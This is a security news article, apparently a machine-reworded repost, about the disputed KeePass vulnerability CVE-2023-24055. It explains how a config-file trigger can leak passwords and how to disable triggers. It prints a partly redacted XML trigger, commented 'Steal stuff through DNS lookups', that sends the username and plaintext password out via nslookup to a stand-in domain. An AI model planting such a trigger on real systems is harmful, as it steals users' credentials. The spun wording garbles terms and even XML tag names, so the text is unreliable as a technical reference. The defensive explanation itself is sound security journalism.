[ad_1]
It’s been a newsworthy few weeks for password managers – these helpful utilities that enable you give you a special password for each web site you utilize, after which to maintain monitor of all of them.
On the finish of 2022, it was the flip of LastPass to be everywhere in the information, when the corporate lastly admitted {that a} breach it suffered again in August 2022 did certainly find yourself with prospects’ password vaults getting stolen from the cloud service the place they had been backed up.
(The passwords themselves weren’t stolen, as a result of the vaults had been encrypted, and LastPass didn’t have copies of anybody’s “grasp key” for the backup vault recordsdata themselves, however it was a better shave than most individuals had been completely happy to listen to.)
Then it was LifeLock’s flip to be everywhere in the information, when the corporate warned about what seemed like a rash of password guessing assaults, most likely primarily based on passwords stolen from a totally completely different web site, presumably a while in the past, and maybe bought on the darkish internet just lately.
LifeLock itself hadn’t been breached, however a few of its customers had, due to password-sharing behaviour attributable to dangers they may not even keep in mind having taken.
Competitiors 1Password and BitWarden have been within the information just lately, too, primarily based on reviews of malicious adverts, apparently unwittingly aired by Google, that convincingly lured customers to duplicate logon pages aimed toward phishing their account particulars.
Now it’s KeePass’s flip to be within the information, this time for one more cybersecurity challenge: an alleged vulnerability, the jargon time period used for software program bugs that result in cybersecurity holes that attackers would possibly have the ability to exploit for evil functions.
Password sniffing made straightforward
We’re referring to it as a vulnerability right here as a result of it does have an official bug identifier, issued by the US Nationwide Institute for Requirements and Know-how.
The bug has been dubbed CVE-2023-24055: Attacker who has write entry to the XML configuration file [can] get hold of the cleartext passwords by including an export set off.
The declare about having the ability to get hold of cleartext passwords, sadly, is true.
If I’ve write entry to your private recordsdata, together with your so-called %APPDATA% listing, I can sneakily tweak the configuration part to change any KeePass settings that you’ve already customised, or so as to add customisations should you haven’t knowingly modified something…
…and I can surprisingly simply steal your plaintext passwords, both in bulk, for instance by dumping the entire database as an unencrypted CSV file, or as you utilize them, for instance by setting a “program hook” that triggers each time you entry a password from the database.
Observe that I don’t want Administrator privileges, as a result of I don’t have to mess with the precise set up listing the place the KeePass app will get saved, which is often off-limits to common userse
And I don’t want entry to any locked-down international configuration settings.
Apparently, KeePass goes out of its option to cease your passwords being sniffed out if you use them, together with utilizing tamper-protection methods to cease numerous anti-keylogger tips even from customers who have already got sysadmin powers.
However the KeePass software program additionally makes it surprisingly straightforward to seize plaintext password knowledge, maybe in methods you would possibly take into account “too straightforward”, even for non-administrators.
It was a minute’s work to make use of the KeePass GUI to create a Set off occasion to run each time you copy a password into the clipboard, and to set that occasion to do a DNS lookup that included each the username and the plaintext password in query:
We may then copy the not-terribly-obvious XML setting for that choice out of our personal native configuration file into the configuration file of one other consumer on the system, after which they too would discover their passwords being leaked over the web through DNS lookups.
Despite the fact that the XML configuration knowledge is basically readable and informative, KeePass curiously makes use of random knowledge strings referred to as GUIDs (quick for globally distinctive identifiers) to indicate the varied Set off settings, in order that even a well-informed consumer would wish an intensive reference checklist to make sense of which triggers are set, and the way.
Right here’s what our DNS-leaking set off appears to be like like, although we redacted a number of the particulars so you possibly can’t rise up to any rapid mischief simply by copying-and-pasting this textual content straight:
<Set off>
<Guid>XXXXXXXXXXXXXXXXXXXX</Guid>
<Identify>Copy</Identify>
<Feedback>Steal stuff through DNS lookups</Feedback>
<Occasions>
<Occasion>
<TypeGuid>XXXXXXXXXXXXXXXXXXXX</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Occasion>
</Occasions>
<Circumstances />
<Actions>
<Motion>
<TypeGuid>XXXXXXXXXXXXXXXXXXXX</TypeGuid>
<Parameters>
<Parameter>nslookup</Parameter>
<Parameter>XXXXX.XXXXX.blah.check</Parameter>
<Parameter>True</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Motion>
</Actions>
</Set off>
With this set off lively, accessing a KeePass password causes the plaintext to leak out in an unobtrusive DNS lookup to a website of my alternative, which is blah.check on this instance.
Observe that real-life attackers would virtually actually scramble or obfuscate the stolen textual content, which might not solely make it tougher to identify when DNS leaks had been taking place, but in addition maintain passwords containing non-ASCII characters, similar to accented letters or emojis, that may’t in any other case be utilized in DNS names:
However is it actually a bug?
The tough query, nonetheless, is, “Is that this actually a bug, or is it only a highly effective characteristic that might be abused by somebody who would already want no less than as a lot management over your personal recordsdata as you’ve got your self?”
Merely put, is it a vulnerability if somebody who already has management of your account can mess with recordsdata that your account is meant to have the ability to entry anyway?
Despite the fact that you would possibly hope {that a} pssword supervisor would come with a number of further layers of tamper-protection to make it tougher for bugs/options of this kind to be abused, ought to CVE-2023-24055 actually be a CVE-listed vulnerability?
In that case, wouldn’t instructions similar to DEL (delete a file) and FORMAT have to be “bugs”, too?
And wouldn’t the very existence of PowerShell, which makes doubtlessly harmful behaviour a lot simpler to impress (strive powerhsell get-clipboard, as an illustration), be a vulnerability all of its personal?
That’s KeePass’s place, acknowledged by the next textual content that has been added to the “bug” element on NIST’s web site:
** DISPUTED ** […] NOTE: the seller’s place is that the password database just isn’t meant to be safe in opposition to an attacker who has that degree of entry to the native PC.
What to do?
If you happen to’re a standalone KeePass consumer, you possibly can test for rogue Triggers just like the “DNS Stealer” we created above by opening the KeePass app and skimming the Instruments > Triggers… window:
Observe that you may flip the complete Set off system off from this window, just by deslecting the [ ] Allow set off system choice…
…however that isn’t a worldwide setting, so it may be turned again on once more through your native configuration file, and due to this fact solely protects you from errors, quite than from an attacker with entry to your account.
You possibly can drive the choice off for everybody on the pc, with no choice for them to show it again on themselves, by modifying the worldwide “lockdown” file KeePass.config.enforced.XML, discovered within the listing the place the app program itself is intalled.
Triggers might be pressured off for everybody in case your international XML enforcement file appears to be like like this:
<?xml model=”1.0″ encoding=”utf-8″?>
<Configuration xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd=”http://www.w3.org/2001/XMLSchema”>
<Utility>
<TriggerSystem>
<Enabled>false</Enabled>
</TriggerSystem>
</Utility>
</Configuration>
(In case you’re questioning, an attacker who has write entry to the appliance listing to reverse this transformation would virtually actually have sufficient system-level energy to change the KeePass executable file itself, or to put in and activate a standalone keylogger anyway.)
If you happen to’re a community administrator tasked with locking down KeePass in your customers’ computer systems in order that it’s nonetheless versatile sufficient to assist them, however not versatile sufficient for them to assist cybercriminals by mistake, we advocate studying by the KeePass Safety Points web page, the Triggers web page, and the Enforced Configuration web page.
[ad_2]